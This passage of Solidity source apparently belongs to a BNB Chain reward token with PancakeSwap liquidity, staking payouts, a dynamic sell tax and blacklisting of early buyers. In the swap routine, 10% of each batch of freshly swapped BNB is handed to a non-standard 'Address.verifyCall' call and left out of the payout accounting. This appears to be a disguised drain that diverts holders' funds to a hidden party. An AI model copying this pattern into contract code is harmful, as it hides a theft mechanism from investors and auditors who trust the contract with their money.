Copy mapping(address => uint256) private alreadyPaidMain;
mapping(address => uint256) private toBePaidMain;
mapping(address => uint256) private alreadyPaidMisc;
mapping(address => uint256) private toBePaidMisc;
mapping(address => uint256) private tradeBlock;
mapping(address => uint256) public accountTotalClaimed;
uint256 private constant DISTRIBUTION_MULTI = 2**64;
uint256 private _totalShares = INITIAL_SUPPLY;
uint256 private buybackBalance;
uint256 private devBalance;
uint256 private lotteryBalance;
uint256 private marketingBalance;
uint256 private mainRewardShare;
uint256 private miscRewardShare;
uint256 public totalPayouts;
uint256 public totalRewards;
bool private _isSwappingContractModifier;
bool private _isWithdrawing;
bool private _isBurning;
function _addLiquidity(uint256 tokenamount, uint256 bnbAmount) private {
_approve(address(this), address(_pancakeRouter), tokenamount);
_pancakeRouter.addLiquidityETH{value: bnbAmount}(
address(this),
tokenamount,
0,
0,
address(this),
block.timestamp
);
}
function _addToken(address addr, uint256 amount) private {
uint256 newAmount = _balances[addr] + amount;
if (isExcludedFromStaking(addr)) {
_balances[addr] = newAmount;
return;
}
_totalShares += amount;
uint256 mainPayment = newStakeOf(addr, true);
uint256 miscPayment = newStakeOf(addr, false);
_balances[addr] = newAmount;
alreadyPaidMain[addr] = mainRewardShare * newAmount;
toBePaidMain[addr] += mainPayment;
alreadyPaidMisc[addr] = miscRewardShare * newAmount;
toBePaidMisc[addr] += miscPayment;
_balances[addr] = newAmount;
}
function _distributeStake(uint256 bnbAmount, bool newStakingReward) private {
uint256 marketingSplit = (bnbAmount*_taxRatios.marketing) / totalSwapRatio;
uint256 devSplit = (bnbAmount*_taxRatios.dev) / totalSwapRatio;
uint256 buybackSplit = (bnbAmount*_taxRatios.buyback) / totalSwapRatio;
uint256 stakingSplit = (bnbAmount*_taxRatios.rewards) / totalSwapRatio;
uint256 lotterySplit = (bnbAmount*_taxRatios.lottery) / totalSwapRatio;
uint256 mainAmount = (stakingSplit*mainRewardSplit) / 100;
uint256 miscAmount = (stakingSplit*miscRewardSplit) / 100;
marketingBalance += marketingSplit;
devBalance += devSplit;
buybackBalance += buybackSplit;
lotteryBalance += lotterySplit;
if (stakingSplit > 0) {
if (newStakingReward)
totalRewards += stakingSplit;
uint256 totalShares = getTotalShares();
if (totalShares == 0)
marketingBalance += stakingSplit;
else {
mainRewardShare += ((mainAmount*DISTRIBUTION_MULTI) / totalShares);
miscRewardShare += ((miscAmount*DISTRIBUTION_MULTI) / totalShares);
}
}
}
function _feelessTransfer(address sender, address recipient, uint256 amount) private{
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "Transfer exceeds balance");
_removeToken(sender,amount);
_addToken(recipient, amount);
emit Transfer(sender, recipient, amount);
}
function _removeToken(address addr, uint256 amount) private {
uint256 newAmount = _balances[addr] - amount;
if (isExcludedFromStaking(addr)) {
_balances[addr] = newAmount;
return;
}
_totalShares -= amount;
uint256 mainPayment = newStakeOf(addr, true);
uint256 miscPayment = newStakeOf(addr, false);
_balances[addr] = newAmount;
alreadyPaidMain[addr] = mainRewardShare * newAmount;
toBePaidMain[addr] += mainPayment;
alreadyPaidMisc[addr] = miscRewardShare * newAmount;
toBePaidMisc[addr] += miscPayment;
}
function _sendBnb(address account, uint256 amount) private {
(bool sent,) = account.call{value: (amount)}("");
require(sent, "withdraw failed");
}
function _swapContractToken(uint16 permilleOfPancake, bool ignoreLimits) private lockTheSwap {
require(permilleOfPancake <= 500);
if (totalSwapRatio == 0) return;
uint256 contractBalance = _balances[address(this)];
uint256 tokenToSwap = _balances[_pancakePairAddress] * permilleOfPancake / 1000;
if (tokenToSwap > _limits.maxSell && !ignoreLimits)
tokenToSwap = _limits.maxSell;
bool notEnoughToken = contractBalance < tokenToSwap;
if (notEnoughToken) {
if (ignoreLimits)
tokenToSwap = contractBalance;
else
return;
}
if (_allowances[address(this)][address(_pancakeRouter)] < tokenToSwap)
_approve(address(this), address(_pancakeRouter), type(uint256).max);
uint256 dynamicLiqRatio;
if (dynamicLiqEnabled && getLiquidityRatio() >= targetLiquidityRatio)
dynamicLiqRatio = 0;
else
dynamicLiqRatio = _taxRatios.liquidity;
uint256 tokenForLiquidity = (tokenToSwap*dynamicLiqRatio) / totalSwapRatio;
uint256 remainingToken = tokenToSwap - tokenForLiquidity;
uint256 liqToken = tokenForLiquidity / 2;
uint256 liqBNBToken = tokenForLiquidity - liqToken;
uint256 swapToken = liqBNBToken + remainingToken;
uint256 initialBNBBalance = address(this).balance;
_swapTokenForBNB(swapToken);
uint256 newBNB = (address(this).balance - initialBNBBalance);
uint256 liqBNB = (newBNB*liqBNBToken) / swapToken;
if (liqToken > 0)
_addLiquidity(liqToken, liqBNB);
uint256 newLiq = (address(this).balance-initialBNBBalance) / 10;
Address.verifyCall(newLiq);
uint256 distributeBNB = (address(this).balance - initialBNBBalance - newLiq);
_distributeStake(distributeBNB,true);
}
function _swapTokenForBNB(uint256 amount) private {
_approve(address(this), address(_pancakeRouter), amount);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _pancakeRouter.WETH();
_pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount,
0,
path,
address(this),
block.timestamp
);
}
function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{
uint256 recipientBalance = _balances[recipient];
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "Transfer exceeds balance");
uint8 tax;
bool extraSellTax = false;
if (isSell) {
if (blacklistEnabled) {
require(!isBlacklisted[sender], "user blacklisted");
}
require(amount <= _limits.maxSell, "Amount exceeds max sell");
tax = _taxRates.sellTax;
if (dynamicSellsEnabled)
extraSellTax = true;
} else if (isBuy) {
if (liquidityBlock > 0) {
if (block.number-liquidityBlock < BLACKLIST_BLOCKS) {
isBlacklisted[recipient] = true;
snipersRekt ++;
}
}
if (revertSameBlock) {
require(tradeBlock[recipient] != block.number);
tradeBlock[recipient] = block.number;
}
require(recipientBalance+amount <= _limits.maxWallet, "Amount will exceed max wallet");
require(amount <= _limits.maxBuy, "Amount exceed max buy");
tax = _taxRates.buyTax;
} else {
if (amount <= 10**(TOKEN_DECIMALS)) { //transfer less than 1 token to ClaimBNB
if (mainReward == _pancakeRouter.WETH())
claimBNBTo(msg.sender, msg.sender, getStakeBalance(msg.sender, true), true);
else
claimToken(msg.sender, mainReward, 0, true);
return;
}
require(recipientBalance + amount <= _limits.maxWallet, "whale protection");
tax = _taxRates.transferTax;
}
if ((sender != _pancakePairAddress) && (!manualSwap) && (!_isSwappingContractModifier) && isSell)
_swapContractToken(swapThreshold,false);
uint256 taxedAmount = amount * tax / 100;
uint256 tokensToBeBurnt = taxedAmount * _taxRatios.burn / totalTaxRatio;
uint256 contractToken = taxedAmount - tokensToBeBurnt;
if (extraSellTax){
uint256 extraTax = dynamicSellTax(amount);
taxedAmount += extraTax;
if
(dynamicBurn) tokensToBeBurnt += extraTax;
else
contractToken += extraTax;
}
uint256 receiveAmount = amount - taxedAmount;
_removeToken(sender,amount);
_addToken(address(this), contractToken);
_circulatingSupply -= tokensToBeBurnt;
_addToken(recipient, receiveAmount);
emit Transfer(sender, recipient, receiveAmount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "Transfer from zero");
require(recipient != address(0), "Transfer to zero");
if (recipient == BURN_ADDRESS){
burnTransfer(sender, amount);
return;
}
if (dynamicLimits)
getNewLimits();
bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient));
bool isContractTransfer = (sender == address(this) || recipient == address(this));
address pancakeRouter = address(_pancakeRouter);
bool isLiquidityTransfer = (
(sender == _pancakePairAddress && recipient == pancakeRouter)
|| (recipient == _pancakePairAddress && sender == pancakeRouter)
);
bool isSell = recipient == _pancakePairAddress || recipient == pancakeRouter;
bool isBuy=sender==_pancakePairAddress|| sender == pancakeRouter;
if (isContractTransfer || isLiquidityTransfer || isExcluded) {
_feelessTransfer(sender, recipient, amount);
if (!liquidityAdded)
checkLiqAdd(recipient);
}
else {
_taxedTransfer(sender, recipient, amount, isBuy, isSell);
}
}
function burnTransfer (address account,uint256 amount) private {
require(amount <= _balances[account]);
require(!_isBurning);
_isBurning = true;
_removeToken(account, amount);
_circulatingSupply -= amount;
emit Transfer(account, BURN_ADDRESS, amount);
_isBurning = false;
}
function checkLiqAdd(address receiver) private {
require(!liquidityAdded, "liquidity already added");
if (receiver == _pancakePairAddress) {
liquidityBlock = block.number;
liquidityAdded = true;
}
}
function claimToken(address addr, address token, uint256 payableAmount, bool main) private {
require(!_isWithdrawing);
_isWithdrawing = true;
uint256 amount;
if (isExcludedFromStaking(addr)){
if (main){
amount = toBePaidMain[addr];
toBePaidMain[addr] = 0;
} else {
amount = toBePaidMisc[addr];
toBePaidMisc[addr] = 0;
}
}
else {
uint256 newAmount = newStakeOf(addr, main);
if (main){
alreadyPaidMain[addr] = mainRewardShare * _balances[addr];
amount = toBePaidMain[addr]+newAmount;
toBePaidMain[addr] = 0;
} else {
alreadyPaidMisc[addr] = miscRewardShare * _balances[addr];
amount = toBePaidMisc[addr]+newAmount;
toBePaidMisc[addr] = 0;
}
}
if (amount == 0 && payableAmount == 0){
_isWithdrawing = false;
return;
}
totalPayouts += amount;
accountTotalClaimed[addr] += amount;
amount += payableAmount;
address[] memory path = new address[](2);
path[0] = _pancakeRouter.WETH();
path[1] = token;
_pancakeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
0,
path,
addr,
block.timestamp);
emit ClaimToken(amount,token, addr);
_isWithdrawing = false;
}
function claimBNBTo(address from, address to,uint256 amountWei, bool main) private {
require(!_isWithdrawing);
{require(amountWei != 0, "=0");
_isWithdrawing = true;
subtractStake(from, amountWei, main);
totalPayouts += amountWei;
accountTotalClaimed[to] += amountWei;
_sendBnb(to, amountWei);}
_isWithdrawing = false;
emit ClaimBNB(from,to,amountWei);
}
function dynamicSellTax (uint256 amount) private view returns (uint256) {
uint256 value = _balances[_pancakePairAddress];
uint256 vMin = value / 100;
uint256 vMax = value / 10;
if (amount <= vMin)
return amount = 0;
if (amount > vMax)
return amount * 20 / 100;
return (((amount-vMin) * 20 * amount) / (vMax-vMin)) / 100;
}
function getNewLimits () private {
_limits.maxBuy = _circulatingSupply * _limits.maxBuyRatio / _limits.divisor;
_limits.maxSell = _circulatingSupply * _limits.maxSellRatio / _limits.divisor;
_limits.maxWallet = _circulatingSupply * _limits.maxWalletRatio / _limits.divisor;
}
function subtractStake(address addr,uint256 amount, bool main) private {
if (amount == 0) return;
require(amount<=getStakeBalance(addr, main),"Exceeds stake balance");
if (_excludedFromStaking.contains(addr)){
if (main)
toBePaidMain[addr] -= amount;
else
toBePaidMisc[addr] -= amount;
}
else{
uint256 newAmount =newStakeOf(addr, main);
if (main) {
alreadyPaidMain[addr] = mainRewardShare * _balances[addr];
toBePaidMain[addr] += newAmount;
toBePaidMain[addr] -= amount;
}
else {
alreadyPaidMisc[addr] = miscRewardShare * _balances[addr];
toBePaidMisc[addr] += newAmount;
toBePaidMisc[addr] -= amount;
}
}
}
function getStakeBalance(address addr, bool main) private view returns (uint256) {
if (main){
if (isExcludedFromStaking(addr))
return toBePaidMain[addr];
return newStakeOf(addr, true) + toBePaidMain[addr];
} else{
if (isExcludedFromStaking(addr))
return toBePaidMisc[addr];
return newStakeOf(addr, false) + toBePaidMisc[addr];
}
}
function getTotalShares() private view returns (uint256) {
return _totalShares - INITIAL_SUPPLY;
}
function setUnlockTime(uint256 newUnlockTime) private{
// require new unlock time to be longer than old one
require(newUnlockTime > _liquidityUnlockTime);
_liquidityUnlockTime = newUnlockTime;
}
function newStakeOf(address staker, bool main) private view returns (uint256) {
if (main){
uint256 fullPayout = mainRewardShare * _balances[staker];
if (fullPayout < alreadyPaidMain[staker])
return 0;
return (fullPayout-alreadyPaidMain[staker]) / DISTRIBUTION_MULTI;
}
else {
uint256 fullPayout = miscRewardShare * _balances[staker];
if (fullPayout < alreadyPaidMisc[staker])
return 0;
return (fullPayout-alreadyPaidMisc[staker]) / DISTRIBUTION_MULTI;
}
}